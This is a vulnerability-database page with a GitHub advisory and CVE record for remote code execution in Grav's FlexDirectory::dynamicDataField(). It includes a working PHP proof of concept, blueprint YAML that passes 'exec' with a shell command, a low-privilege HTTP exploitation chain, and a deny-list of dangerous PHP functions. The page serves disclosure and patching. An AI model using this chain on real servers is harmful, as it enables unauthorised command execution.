Vulnerability-Lookup

GHSA-C4WF-2XXC-68QM

Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15

Summary

Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

Details

Summary

A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with create or update rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a data-*@: directive, since the code that resolves those directives calls call_user_func_array() on attacker-influenced input with no restriction at all.

This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to Blueprint::dynamicData(), but Grav's Flex system routes the same directive through a separate, unprotected method, FlexDirectory::dynamicDataField(), which never received the same fix.

Details

Grav blueprints support action-property@: directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. Blueprint::init() (system/src/Grav/Common/Data/Blueprint.php:167-177) resolves these by checking for a registered handler first, and only falling back to the built-in dynamic{Action} method if none is registered:

foreach ($data as $property => $call) {
    $action = $call['action'];
    $method = 'dynamic' . ucfirst((string) $action);
    $call['object'] = $this->object;

    if (isset($this->handlers[$action])) {
        $callable = $this->handlers[$action];
        $callable($current, $property, $call);
    } elseif (method_exists($this, $method)) {
        $this->{$method}($current, $property, $call);
    }
}

FlexDirectory::getBlueprint() (system/src/Grav/Framework/Flex/FlexDirectory.php:878-880) registers exactly such a handler for the data action, for every Flex directory:

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) {
    $this->dynamicDataField($field, $property, $call);
});

Because a handler is registered, Blueprint::init() never falls through to the patched Blueprint::dynamicData(). It calls FlexDirectory::dynamicDataField() instead (system/src/Grav/Framework/Flex/FlexDirectory.php:906-928):

protected function dynamicDataField(array &$field, $property, array $call)
{
    $params = $call['params'];
    if (is_array($params)) {
        $function = array_shift($params);
    } else {
        $function = $params;
        $params = [];
    }

    $object = $call['object'];
    if ($function === '\Grav\Common\Page\Pages::pageTypes') {
        $params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard'];
    }

    $data = null;
    if (is_callable($function)) {
        $data = call_user_func_array($function, $params);
    }
    // ...
}

is_callable() only checks that $function resolves to something callable. It does not check whether calling it is safe. 'exec', 'system', 'passthru', and 'shell_exec' are all valid PHP callables, so this passes them through without complaint.

Compare this to the patched Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426-448), which calls $this->isSafeDynamicCall($function, $params) before doing anything. That method denies known command-execution functions (exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec), known code-execution functions (assert, preg_replace, create_function, include, require), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through Utils::arrayFilterRecursive. None of that logic exists in dynamicDataField().

Version tested: current master, commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969. git describe reports this as 2.0.8-2-gfae9e1bf2, two commits past the 2.0.8 tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (ParsedownGravTrait.php, unrelated). Neither touches Blueprint.php, FlexDirectory.php, or Utils.php. git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.

PoC

Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with composer install run. It calls the real, unmodified FlexDirectory::dynamicDataField() directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.

<?php
require 'vendor/autoload.php';

use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;

$proofFile = '/tmp/grav_rce_proof.txt';

// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,
// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().
// No trampoline gadget needed here. dynamicDataField() performs zero validation
// on $function.
$items = [
    'fields' => [
        'myfield' => [
            'type' => 'text',
            'data-test@' => ['exec', "id > $proofFile 2>&1"],
        ],
    ],
];

$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic

// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
    $method->invoke($flexDirectoryInstance, $field, $property, $call);
});

$blueprint->init();

echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";

Output:

uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...

Part 2, full HTTP chain against the real admin panel. Configuration used:

Base checkout: same commit as above.
bin/gpm install admin flex-objects -y, which pulls in form, login, email, shortcode-core, api as dependencies.
php -S localhost:8000 system/router.php.

Step 1. flex-objects ships a self-contained sample custom directory at blueprints/flex-objects/contacts.yaml, with its own admin.contacts/api.contacts permission set. Added one field to its form.fields:

    pocfield:
      type: text
      label: PoC Field
      data-test@:
        - exec
        - "id > /tmp/grav_http_rce_proof.txt 2>&1"

Step 2. Registered contacts as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (user/config/plugins/flex-objects.yaml):

directories:
  - 'blueprints://flex-objects/pages.yaml'
  - 'blueprints://flex-objects/user-accounts.yaml'
  - 'blueprints://flex-objects/user-groups.yaml'
  - 'blueprints://flex-objects/contacts.yaml'

Step 3. Confirmed a full super-admin account can trigger it, as a baseline. POST /api/v1/flex-objects/contacts (the ordinary "create a new contact" endpoint) with a super-admin JWT:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt contained the id command's output. This confirms the chain fires through the real API: FlexApiController::create() calls FlexDirectory::createObject()/save(), which calls blueprint init(), which calls dynamicDataField(), which calls call_user_func_array('exec', [...]). The read-only blueprint-serving endpoint, GET /blueprints/flex-objects/{type}, does not trigger this; only the create/update processing path calls init().

Step 4. Created a second account with nothing granted except:

access:
  admin:
    login: true
  api:
    access: true
    contacts:
      create: true

No admin.super, no api.super, no permission on anything except creating records in this one directory. That is exactly the permission contacts.yaml's own blueprint declares for this action (admin.permissions.api.contacts: {type: crudpl} maps to api.contacts.create). The token response confirmed the account had nothing else: "super_admin": false, with only api.access and api.contacts.create set to true.

That account sent the same POST /api/v1/flex-objects/contacts request, an ordinary "create a contact" call indistinguishable from legitimate use:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt was overwritten with fresh id output.

This was reproduced a second time on a completely separate, freshly cloned checkout (independent composer install, independent bin/gpm install, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.

Impact

Threat model. The attacker needs an authenticated account with create or update permission on a single Flex directory, nothing more. The PoC account held exactly one permission, api.contacts.create, scoped to one custom directory, with super_admin: false and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.

Any Grav 2.0 install running the flex-objects plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a data-*@: directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in flex-objects or admin UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.

Suggested fix: route FlexDirectory::dynamicDataField() through the same isSafeDynamicCall()/Utils::isDangerousFunction() checks Blueprint::dynamicData() already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other addDynamicHandler() registration in the codebase has the same gap.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "2.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA missing validation check in Grav\u0027s Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with `create` or `update` rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a `data-*@:` directive, since the code that resolves those directives calls `call_user_func_array()` on attacker-influenced input with no restriction at all.\n\nThis is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to `Blueprint::dynamicData()`, but Grav\u0027s Flex system routes the same directive through a separate, unprotected method, `FlexDirectory::dynamicDataField()`, which never received the same fix.\n\n### Details\n\nGrav blueprints support `action-property@:` directives, YAML keys that tell the blueprint engine to compute a field\u0027s value dynamically by calling a function. `Blueprint::init()` (`system/src/Grav/Common/Data/Blueprint.php:167-177`) resolves these by checking for a registered handler first, and only falling back to the built-in `dynamic{Action}` method if none is registered:\n\n```php\nforeach ($data as $property =\u003e $call) {\n    $action = $call[\u0027action\u0027];\n    $method = \u0027dynamic\u0027 . ucfirst((string) $action);\n    $call[\u0027object\u0027] = $this-\u003eobject;\n\n    if (isset($this-\u003ehandlers[$action])) {\n        $callable = $this-\u003ehandlers[$action];\n        $callable($current, $property, $call);\n    } elseif (method_exists($this, $method)) {\n        $this-\u003e{$method}($current, $property, $call);\n    }\n}\n```\n\n`FlexDirectory::getBlueprint()` (`system/src/Grav/Framework/Flex/FlexDirectory.php:878-880`) registers exactly such a handler for the `data` action, for every Flex directory:\n\n```php\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) {\n    $this-\u003edynamicDataField($field, $property, $call);\n});\n```\n\nBecause a handler is registered, `Blueprint::init()` never falls through to the patched `Blueprint::dynamicData()`. It calls `FlexDirectory::dynamicDataField()` instead (`system/src/Grav/Framework/Flex/FlexDirectory.php:906-928`):\n\n```php\nprotected function dynamicDataField(array \u0026$field, $property, array $call)\n{\n    $params = $call[\u0027params\u0027];\n    if (is_array($params)) {\n        $function = array_shift($params);\n    } else {\n        $function = $params;\n        $params = [];\n    }\n\n    $object = $call[\u0027object\u0027];\n    if ($function === \u0027\\Grav\\Common\\Page\\Pages::pageTypes\u0027) {\n        $params = [$object instanceof PageInterface \u0026\u0026 $object-\u003eisModule() ? \u0027modular\u0027 : \u0027standard\u0027];\n    }\n\n    $data = null;\n    if (is_callable($function)) {\n        $data = call_user_func_array($function, $params);\n    }\n    // ...\n}\n```\n\n`is_callable()` only checks that `$function` resolves to something callable. It does not check whether calling it is safe. `\u0027exec\u0027`, `\u0027system\u0027`, `\u0027passthru\u0027`, and `\u0027shell_exec\u0027` are all valid PHP callables, so this passes them through without complaint.\n\nCompare this to the patched `Blueprint::dynamicData()` (`system/src/Grav/Common/Data/Blueprint.php:426-448`), which calls `$this-\u003eisSafeDynamicCall($function, $params)` before doing anything. That method denies known command-execution functions (`exec`, `system`, `passthru`, `shell_exec`, `popen`, `proc_open`, `pcntl_exec`), known code-execution functions (`assert`, `preg_replace`, `create_function`, `include`, `require`), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through `Utils::arrayFilterRecursive`. None of that logic exists in `dynamicDataField()`.\n\n**Version tested:** current `master`, commit `fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969`. `git describe` reports this as `2.0.8-2-gfae9e1bf2`, two commits past the `2.0.8` tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (`ParsedownGravTrait.php`, unrelated). Neither touches `Blueprint.php`, `FlexDirectory.php`, or `Utils.php`. `git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php` returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.\n\n### PoC\n\n**Part 1, code level.** This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with `composer install` run. It calls the real, unmodified `FlexDirectory::dynamicDataField()` directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Grav\\Common\\Data\\Blueprint;\nuse Grav\\Framework\\Flex\\FlexDirectory;\n\n$proofFile = \u0027/tmp/grav_rce_proof.txt\u0027;\n\n// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,\n// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().\n// No trampoline gadget needed here. dynamicDataField() performs zero validation\n// on $function.\n$items = [\n    \u0027fields\u0027 =\u003e [\n        \u0027myfield\u0027 =\u003e [\n            \u0027type\u0027 =\u003e \u0027text\u0027,\n            \u0027data-test@\u0027 =\u003e [\u0027exec\u0027, \"id \u003e $proofFile 2\u003e\u00261\"],\n        ],\n    ],\n];\n\n$blueprint = new Blueprint(null, $items);\n$blueprint-\u003eembed(\u0027\u0027, $items); // triggers deepInit(), populates $blueprint-\u003edynamic\n\n// Register the real, unmodified FlexDirectory::dynamicDataField as the \u0027data\u0027\n// handler. This is exactly what FlexDirectory::getBlueprint() does for every\n// Flex directory in production.\n$refClass = new ReflectionClass(FlexDirectory::class);\n$flexDirectoryInstance = $refClass-\u003enewInstanceWithoutConstructor();\n$method = $refClass-\u003egetMethod(\u0027dynamicDataField\u0027);\n$method-\u003esetAccessible(true);\n\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) use ($method, $flexDirectoryInstance) {\n    $method-\u003einvoke($flexDirectoryInstance, $field, $property, $call);\n});\n\n$blueprint-\u003einit();\n\necho file_exists($proofFile) ? file_get_contents($proofFile) : \"not vulnerable\\n\";\n```\n\nOutput:\n\n```\nuid=1000(d) gid=1000(d) groups=1000(d),4(adm),...\n```\n\n**Part 2, full HTTP chain against the real admin panel.** Configuration used:\n\n- Base checkout: same commit as above.\n- `bin/gpm install admin flex-objects -y`, which pulls in `form`, `login`, `email`, `shortcode-core`, `api` as dependencies.\n- `php -S localhost:8000 system/router.php`.\n\nStep 1. `flex-objects` ships a self-contained sample custom directory at `blueprints/flex-objects/contacts.yaml`, with its own `admin.contacts`/`api.contacts` permission set. Added one field to its `form.fields`:\n\n```yaml\n    pocfield:\n      type: text\n      label: PoC Field\n      data-test@:\n        - exec\n        - \"id \u003e /tmp/grav_http_rce_proof.txt 2\u003e\u00261\"\n```\n\nStep 2. Registered `contacts` as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (`user/config/plugins/flex-objects.yaml`):\n\n```yaml\ndirectories:\n  - \u0027blueprints://flex-objects/pages.yaml\u0027\n  - \u0027blueprints://flex-objects/user-accounts.yaml\u0027\n  - \u0027blueprints://flex-objects/user-groups.yaml\u0027\n  - \u0027blueprints://flex-objects/contacts.yaml\u0027\n```\n\nStep 3. Confirmed a full super-admin account can trigger it, as a baseline. `POST /api/v1/flex-objects/contacts` (the ordinary \"create a new contact\" endpoint) with a super-admin JWT:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` contained the `id` command\u0027s output. This confirms the chain fires through the real API: `FlexApiController::create()` calls `FlexDirectory::createObject()`/`save()`, which calls blueprint `init()`, which calls `dynamicDataField()`, which calls `call_user_func_array(\u0027exec\u0027, [...])`. The read-only blueprint-serving endpoint, `GET /blueprints/flex-objects/{type}`, does not trigger this; only the create/update processing path calls `init()`.\n\nStep 4. Created a second account with nothing granted except:\n\n```yaml\naccess:\n  admin:\n    login: true\n  api:\n    access: true\n    contacts:\n      create: true\n```\n\nNo `admin.super`, no `api.super`, no permission on anything except creating records in this one directory. That is exactly the permission `contacts.yaml`\u0027s own blueprint declares for this action (`admin.permissions.api.contacts: {type: crudpl}` maps to `api.contacts.create`). The token response confirmed the account had nothing else: `\"super_admin\": false`, with only `api.access` and `api.contacts.create` set to `true`.\n\nThat account sent the same `POST /api/v1/flex-objects/contacts` request, an ordinary \"create a contact\" call indistinguishable from legitimate use:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` was overwritten with fresh `id` output.\n\nThis was reproduced a second time on a completely separate, freshly cloned checkout (independent `composer install`, independent `bin/gpm install`, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.\n\n### Impact\n\n**Threat model.** The attacker needs an authenticated account with `create` or `update` permission on a single Flex directory, nothing more. The PoC account held exactly one permission, `api.contacts.create`, scoped to one custom directory, with `super_admin: false` and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor\u0027s own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.\n\nAny Grav 2.0 install running the `flex-objects` plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a `data-*@:` directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in `flex-objects` or `admin` UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.\n\n**Suggested fix**: route `FlexDirectory::dynamicDataField()` through the same `isSafeDynamicCall()`/`Utils::isDangerousFunction()` checks `Blueprint::dynamicData()` already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other `addDynamicHandler()` registration in the codebase has the same gap.",
  "id": "GHSA-c4wf-2xxc-68qm",
  "modified": "2026-09-17T17:15:33Z",
  "published": "2026-09-17T17:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation"
}

CVE-2026-65608 (GCVE-0-2026-65608)

Vulnerability from cvelistv5 – Published: 2026-07-23 11:42 – Updated: 2026-07-24 21:35

Title

Grav before 2.0.9 Remote Code Execution via FlexDirectory

Summary

Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-23 18:00 UTC

CWE

CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Assigner

VulnCheck mitre root

References

3 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	vendor-advisory
https://github.com/getgrav/grav/commit/fae9e1bf2c…	patch
https://www.vulncheck.com/advisories/grav-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: 1.7.0 , < 2.0.9 (semver) Unaffected: 2.0.9 (semver) cpe:2.3:a:getgrav:grav::::::::

Date Public

2026-07-09 00:00

Credits

haftoe

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-65608",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-23T18:00:17.857895Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-23T18:00:27.972Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.9",
              "status": "affected",
              "version": "1.7.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.9",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.0.9",
                  "versionStartIncluding": "1.7.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "haftoe"
        }
      ],
      "datePublic": "2026-07-09T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav versions \u003e= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "LOW",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-470",
              "description": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-24T21:35:20.322Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-c4wf-2xxc-68qm)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
        },
        {
          "name": "Patch Commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
        },
        {
          "name": "VulnCheck Advisory: Grav before 2.0.9 Remote Code Execution via FlexDirectory",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
        }
      ],
      "title": "Grav before 2.0.9 Remote Code Execution via FlexDirectory",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-65608",
    "datePublished": "2026-07-23T11:42:15.534Z",
    "dateReserved": "2026-07-22T10:48:36.000Z",
    "dateUpdated": "2026-07-24T21:35:20.322Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-C4WF-2XXC-68QM

Summary

Details

PoC

Impact

CVE-2026-65608 (GCVE-0-2026-65608)

Tags

Sightings

Nomenclature

Related by attack behaviour